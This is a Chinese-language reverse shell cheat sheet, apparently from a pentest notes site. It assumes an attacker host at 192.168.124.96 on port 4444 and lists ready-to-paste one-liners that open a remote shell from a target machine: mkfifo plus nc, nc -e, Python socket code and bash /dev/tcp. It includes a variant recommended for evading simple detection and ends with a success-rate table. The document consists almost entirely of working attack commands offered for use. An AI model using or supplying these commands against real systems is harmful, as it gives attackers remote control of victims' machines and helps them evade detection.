跳转至

Reverse Shell

场景假设

  • 攻击机 IP:192.168.124.96
  • 监听端口:4444
  • 目标机可能默认是 Zsh

攻击机(Kali 或任意机器)先监听(只做一次)

ncat -lvnp 4444
# 或者用 nc 也行
nc -lvnp 4444

目标机上的操作(分两种 shell 情况)

情况1:你当前就是在 Zsh 下(最常见)

直接敲下面任意一条就行,按可靠性排序:

  1. 最推荐(mkfifo + nc,几乎 100% 成功)
rm /tmp/f 2>/dev/null; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.124.96 4444 > /tmp/f
  1. 如果目标机装了 netcat traditional(有 -e 参数)
nc -e /bin/bash 192.168.124.96 4444
# 或者
nc 192.168.124.96 4444 -e /bin/bash
  1. 如果有 Python3(几乎所有现代系统都有)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.124.96",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
  1. 如果有 Python(旧版语法)
python -c 'import socket,subprocess,os;s=socket.socket(2,1);s.connect(("192.168.124.96",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'

情况2:你已经切换到 Bash 了,或者目标默认就是 Bash

那就可以直接用 Bash 独有的 /dev/tcp 神器了:

  1. 最简洁(推荐)
bash -i >& /dev/tcp/192.168.124.96/4444 0>&1
  1. 一行让 Zsh 直接调用 Bash 来执行(即使当前是 Zsh 也能用)
bash -c 'bash -i >& /dev/tcp/192.168.124.96/4444 0>&1'
  1. 更隐蔽一点(推荐用于绕过一些简单检测)
exec 5<>/dev/tcp/192.168.124.96/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

快速判断当前是 Zsh 还是 Bash

echo $SHELL    # 显示登录 shell(不一定就是当前)
echo $0         # 当前正在用的 shell(最准)
ps -p $$        # 看当前进程名

终极一键表(直接复制粘贴就行)

当前 Shell 命令(直接复制) 成功率 备注
Zsh/Bash rm /tmp/f 2>/dev/null; mkfifo /tmp/f; cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.124.96 4444 >/tmp/f ★★★★★ 最稳,几乎无条件成功
Zsh/Bash bash -c 'bash -i >& /dev/tcp/192.168.124.96/4444 0>&1' ★★★★☆ 需要 bash 支持 /dev/tcp
Zsh/Bash nc 192.168.124.96 4444 -e /bin/bash ★★★★☆ 需要 nc 支持 -e(traditional)
Zsh/Bash python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.124.96",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/bash","-i"])' ★★★★☆ 需要 python3

总结一句话:

  • 在 Zsh 里别指望 /dev/tcp,直接上 mkfifo + nc 那一行,几乎百发百中。
  • 如果你能切到 Bash,或者用 bash -c 强制调用 Bash,那 /dev/tcp 那一行最短最好看。